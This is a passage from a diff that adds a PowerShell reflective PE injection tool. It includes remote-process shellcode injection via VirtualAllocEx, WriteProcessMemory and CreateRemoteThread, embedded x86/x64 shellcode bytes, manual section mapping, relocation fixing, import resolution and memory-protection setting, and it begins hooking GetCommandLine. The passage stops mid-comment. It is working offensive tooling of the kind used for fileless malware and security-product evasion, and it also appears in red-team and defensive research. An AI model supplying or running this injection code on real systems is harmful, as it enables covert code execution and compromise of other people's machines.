+ $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1485
+ if ($RFuncNamePtr -eq [IntPtr]::Zero)
1486
+ {
1487
+ Throw "Unable to allocate memory in the remote process"
1488
+ }
1489
+
1490
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1491
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
1492
+ if ($Success -eq $false)
1493
+ {
1494
+ Throw "Unable to write DLL path to remote process memory"
1495
+ }
1496
+ if ($FunctionNameSize -ne $NumBytesWritten)
1497
+ {
1498
+ Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
1499
+ }
1500
+ }
1501
+ #If loading by ordinal, just set RFuncNamePtr to be the ordinal number
1502
+ else
1503
+ {
1504
+ $RFuncNamePtr = $FunctionNamePtr
1505
+ }
1506
+
1507
+ #Get address of GetProcAddress
1508
+ $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
1509
+ $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
1510
+
1511
+
1512
+ #Allocate memory for the address returned by GetProcAddress
1513
+ $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
1514
+ if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
1515
+ {
1516
+ Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
1517
+ }
1518
+
1519
+
1520
+ #Write Shellcode to the remote process which will call GetProcAddress
1521
+ #Shellcode: GetProcAddress.asm
1522
+ [Byte[]]$GetProcAddressSC = @()
1523
+ if ($PEInfo.PE64Bit -eq $true)
1524
+ {
1525
+ $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
1526
+ $GetProcAddressSC2 = @(0x48, 0xba)
1527
+ $GetProcAddressSC3 = @(0x48, 0xb8)
1528
+ $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
1529
+ $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1530
+ }
1531
+ else
1532
+ {
1533
+ $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
1534
+ $GetProcAddressSC2 = @(0xb9)
1535
+ $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
1536
+ $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
1537
+ $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
1538
+ }
1539
+ $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
1540
+ $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
1541
+ $SCPSMemOriginal = $SCPSMem
1542
+
1543
+ Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
1544
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
1545
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
1546
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1547
+ Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
1548
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
1549
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
1550
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1551
+ Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
1552
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
1553
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
1554
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1555
+ Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
1556
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
1557
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
1558
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1559
+ Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
1560
+ $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
1561
+
1562
+ $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1563
+ if ($RSCAddr -eq [IntPtr]::Zero)
1564
+ {
1565
+ Throw "Unable to allocate memory in the remote process for shellcode"
1566
+ }
1567
+ [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1568
+ $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1569
+ if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1570
+ {
1571
+ Throw "Unable to write shellcode to remote process memory."
1572
+ }
1573
+
1574
+ $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1575
+ $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1576
+ if ($Result -ne 0)
1577
+ {
1578
+ Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1579
+ }
1580
+
1581
+ #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
1582
+ [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1583
+ $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1584
+ if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
1585
+ {
1586
+ Throw "Call to ReadProcessMemory failed"
1587
+ }
1588
+ [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1589
+
1590
+ #Cleanup remote process memory
1591
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1592
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1593
+
1594
+ if (-not $LoadByOrdinal)
1595
+ {
1596
+ $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1597
+ }
1598
+
1599
+ return $ProcAddress
1600
+ }
1601
+
1602
+
1603
+ Function Copy-Sections
1604
+ {
1605
+ Param(
1606
+ [Parameter(Position = 0, Mandatory = $true)]
1607
+ [Byte[]]
1608
+ $PEBytes,
1609
+
1610
+ [Parameter(Position = 1, Mandatory = $true)]
1611
+ [System.Object]
1612
+ $PEInfo,
1613
+
1614
+ [Parameter(Position = 2, Mandatory = $true)]
1615
+ [System.Object]
1616
+ $Win32Functions,
1617
+
1618
+ [Parameter(Position = 3, Mandatory = $true)]
1619
+ [System.Object]
1620
+ $Win32Types
1621
+ )
1622
+
1623
+ for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1624
+ {
1625
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1626
+ $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1627
+
1628
+ #Address to copy the section to
1629
+ [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
1630
+
1631
+ #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
1632
+ # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
1633
+ # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
1634
+ # so truncate SizeOfRawData to VirtualSize
1635
+ $SizeOfRawData = $SectionHeader.SizeOfRawData
1636
+
1637
+ if ($SectionHeader.PointerToRawData -eq 0)
1638
+ {
1639
+ $SizeOfRawData = 0
1640
+ }
1641
+
1642
+ if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
1643
+ {
1644
+ $SizeOfRawData = $SectionHeader.VirtualSize
1645
+ }
1646
+
1647
+ if ($SizeOfRawData -gt 0)
1648
+ {
1649
+ Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
1650
+ [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
1651
+ }
1652
+
1653
+ #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
1654
+ if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
1655
+ {
1656
+ $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
1657
+ [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
1658
+ Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
1659
+ $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
1660
+ }
1661
+ }
1662
+ }
1663
+
1664
+
1665
+ Function Update-MemoryAddresses
1666
+ {
1667
+ Param(
1668
+ [Parameter(Position = 0, Mandatory = $true)]
1669
+ [System.Object]
1670
+ $PEInfo,
1671
+
1672
+ [Parameter(Position = 1, Mandatory = $true)]
1673
+ [Int64]
1674
+ $OriginalImageBase,
1675
+
1676
+ [Parameter(Position = 2, Mandatory = $true)]
1677
+ [System.Object]
1678
+ $Win32Constants,
1679
+
1680
+ [Parameter(Position = 3, Mandatory = $true)]
1681
+ [System.Object]
1682
+ $Win32Types
1683
+ )
1684
+
1685
+ [Int64]$BaseDifference = 0
1686
+ $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
1687
+ [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
1688
+
1689
+ #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
1690
+ if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
1691
+ -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
1692
+ {
1693
+ return
1694
+ }
1695
+
1696
+
1697
+ elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
1698
+ {
1699
+ $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
1700
+ $AddDifference = $false
1701
+ }
1702
+ elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
1703
+ {
1704
+ $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
1705
+ }
1706
+
1707
+ #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
1708
+ [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
1709
+ while($true)
1710
+ {
1711
+ #If SizeOfBlock == 0, we are done
1712
+ $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
1713
+
1714
+ if ($BaseRelocationTable.SizeOfBlock -eq 0)
1715
+ {
1716
+ break
1717
+ }
1718
+
1719
+ [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
1720
+ $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
1721
+
1722
+ #Loop through each relocation
1723
+ for($i = 0; $i -lt $NumRelocations; $i++)
1724
+ {
1725
+ #Get info for this relocation
1726
+ $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
1727
+ [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
1728
+
1729
+ #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
1730
+ [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
1731
+ [UInt16]$RelocType = $RelocationInfo -band 0xF000
1732
+ for ($j = 0; $j -lt 12; $j++)
1733
+ {
1734
+ $RelocType = [Math]::Floor($RelocType / 2)
1735
+ }
1736
+
1737
+ #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
1738
+ #This appears to be true for EXE's as well.
1739
+ # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
1740
+ if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
1741
+ -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
1742
+ {
1743
+ #Get the current memory address and update it based off the difference between PE expected base address and actual base address
1744
+ [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
1745
+ [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
1746
+
1747
+ if ($AddDifference -eq $true)
1748
+ {
1749
+ [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1750
+ }
1751
+ else
1752
+ {
1753
+ [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1754
+ }
1755
+
1756
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
1757
+ }
1758
+ elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
1759
+ {
1760
+ #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
1761
+ Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
1762
+ }
1763
+ }
1764
+
1765
+ $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
1766
+ }
1767
+ }
1768
+
1769
+
1770
+ Function Import-DllImports
1771
+ {
1772
+ Param(
1773
+ [Parameter(Position = 0, Mandatory = $true)]
1774
+ [System.Object]
1775
+ $PEInfo,
1776
+
1777
+ [Parameter(Position = 1, Mandatory = $true)]
1778
+ [System.Object]
1779
+ $Win32Functions,
1780
+
1781
+ [Parameter(Position = 2, Mandatory = $true)]
1782
+ [System.Object]
1783
+ $Win32Types,
1784
+
1785
+ [Parameter(Position = 3, Mandatory = $true)]
1786
+ [System.Object]
1787
+ $Win32Constants,
1788
+
1789
+ [Parameter(Position = 4, Mandatory = $false)]
1790
+ [IntPtr]
1791
+ $RemoteProcHandle
1792
+ )
1793
+
1794
+ $RemoteLoading = $false
1795
+ if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
1796
+ {
1797
+ $RemoteLoading = $true
1798
+ }
1799
+
1800
+ if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
1801
+ {
1802
+ [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
1803
+
1804
+ while ($true)
1805
+ {
1806
+ $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
1807
+
1808
+ #If the structure is null, it signals that this is the end of the array
1809
+ if ($ImportDescriptor.Characteristics -eq 0 `
1810
+ -and $ImportDescriptor.FirstThunk -eq 0 `
1811
+ -and $ImportDescriptor.ForwarderChain -eq 0 `
1812
+ -and $ImportDescriptor.Name -eq 0 `
1813
+ -and $ImportDescriptor.TimeDateStamp -eq 0)
1814
+ {
1815
+ Write-Verbose "Done importing DLL imports"
1816
+ break
1817
+ }
1818
+
1819
+ $ImportDllHandle = [IntPtr]::Zero
1820
+ $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
1821
+ $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1822
+
1823
+ if ($RemoteLoading -eq $true)
1824
+ {
1825
+ $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
1826
+ }
1827
+ else
1828
+ {
1829
+ $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
1830
+ }
1831
+
1832
+ if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
1833
+ {
1834
+ throw "Error importing DLL, DLLName: $ImportDllPath"
1835
+ }
1836
+
1837
+ #Get the first thunk, then loop through all of them
1838
+ [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
1839
+ [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
1840
+ [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1841
+
1842
+ while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
1843
+ {
1844
+ $LoadByOrdinal = $false
1845
+ [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
1846
+ #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
1847
+ # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
1848
+ # and doing the comparison, just see if it is less than 0
1849
+ [IntPtr]$NewThunkRef = [IntPtr]::Zero
1850
+ if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
1851
+ {
1852
+ [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1853
+ $LoadByOrdinal = $true
1854
+ }
1855
+ elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
1856
+ {
1857
+ [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1858
+ $LoadByOrdinal = $true
1859
+ }
1860
+ else
1861
+ {
1862
+ [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
1863
+ $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
1864
+ $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
1865
+ $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
1866
+ }
1867
+
1868
+ if ($RemoteLoading -eq $true)
1869
+ {
1870
+ [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
1871
+ }
1872
+ else
1873
+ {
1874
+ [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
1875
+ }
1876
+
1877
+ if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
1878
+ {
1879
+ if ($LoadByOrdinal)
1880
+ {
1881
+ Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
1882
+ }
1883
+ else
1884
+ {
1885
+ Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
1886
+ }
1887
+ }
1888
+
1889
+ [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
1890
+
1891
+ $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1892
+ [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1893
+ [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1894
+
1895
+ #Cleanup
1896
+ #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
1897
+ if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
1898
+ {
1899
+ [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
1900
+ $ProcedureNamePtr = [IntPtr]::Zero
1901
+ }
1902
+ }
1903
+
1904
+ $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
1905
+ }
1906
+ }
1907
+ }
1908
+
1909
+ Function Get-VirtualProtectValue
1910
+ {
1911
+ Param(
1912
+ [Parameter(Position = 0, Mandatory = $true)]
1913
+ [UInt32]
1914
+ $SectionCharacteristics
1915
+ )
1916
+
1917
+ $ProtectionFlag = 0x0
1918
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
1919
+ {
1920
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1921
+ {
1922
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1923
+ {
1924
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
1925
+ }
1926
+ else
1927
+ {
1928
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
1929
+ }
1930
+ }
1931
+ else
1932
+ {
1933
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1934
+ {
1935
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
1936
+ }
1937
+ else
1938
+ {
1939
+ $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
1940
+ }
1941
+ }
1942
+ }
1943
+ else
1944
+ {
1945
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1946
+ {
1947
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1948
+ {
1949
+ $ProtectionFlag = $Win32Constants.PAGE_READWRITE
1950
+ }
1951
+ else
1952
+ {
1953
+ $ProtectionFlag = $Win32Constants.PAGE_READONLY
1954
+ }
1955
+ }
1956
+ else
1957
+ {
1958
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1959
+ {
1960
+ $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
1961
+ }
1962
+ else
1963
+ {
1964
+ $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
1965
+ }
1966
+ }
1967
+ }
1968
+
1969
+ if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
1970
+ {
1971
+ $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
1972
+ }
1973
+
1974
+ return $ProtectionFlag
1975
+ }
1976
+
1977
+ Function Update-MemoryProtectionFlags
1978
+ {
1979
+ Param(
1980
+ [Parameter(Position = 0, Mandatory = $true)]
1981
+ [System.Object]
1982
+ $PEInfo,
1983
+
1984
+ [Parameter(Position = 1, Mandatory = $true)]
1985
+ [System.Object]
1986
+ $Win32Functions,
1987
+
1988
+ [Parameter(Position = 2, Mandatory = $true)]
1989
+ [System.Object]
1990
+ $Win32Constants,
1991
+
1992
+ [Parameter(Position = 3, Mandatory = $true)]
1993
+ [System.Object]
1994
+ $Win32Types
1995
+ )
1996
+
1997
+ for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1998
+ {
1999
+ [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
2000
+ $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
2001
+ [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
2002
+
2003
+ [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
2004
+ [UInt32]$SectionSize = $SectionHeader.VirtualSize
2005
+
2006
+ [UInt32]$OldProtectFlag = 0
2007
+ Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
2008
+ $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
2009
+ if ($Success -eq $false)
2010
+ {
2011
+ Throw "Unable to change memory protection"
2012
+ }
2013
+ }
2014
+ }
2015
+
2016
+ #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
2017
+ #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
2018
+ Function Update-ExeFunctions
2019
+ {
2020
+ Param(
2021
+ [Parameter(Position = 0, Mandatory = $true)]
2022
+ [System.Object]
2023
+ $PEInfo,
2024
+
2025
+ [Parameter(Position = 1, Mandatory = $true)]
2026
+ [System.Object]
2027
+ $Win32Functions,
2028
+
2029
+ [Parameter(Position = 2, Mandatory = $true)]
2030
+ [System.Object]
2031
+ $Win32Constants,
2032
+
2033
+ [Parameter(Position = 3, Mandatory = $true)]
2034
+ [String]
2035
+ $ExeArguments,
2036
+
2037
+ [Parameter(Position = 4, Mandatory = $true)]
2038
+ [IntPtr]
2039
+ $ExeDoneBytePtr
2040
+ )
2041
+
2042
+ #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
2043
+ $ReturnArray = @()
2044
+
2045
+ $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2046
+ [UInt32]$OldProtectFlag = 0
2047
+
2048
+ [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
2049
+ if ($Kernel32Handle -eq [IntPtr]::Zero)
2050
+ {
2051
+ throw "Kernel32 handle null"
2052
+ }
2053
+
2054
+ [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
2055
+ if ($KernelBaseHandle -eq [IntPtr]::Zero)
2056
+ {
2057
+ throw "KernelBase handle null"
2058
+ }
2059
+
2060
+ #################################################
2061
+ #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
2062
+ # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
2063
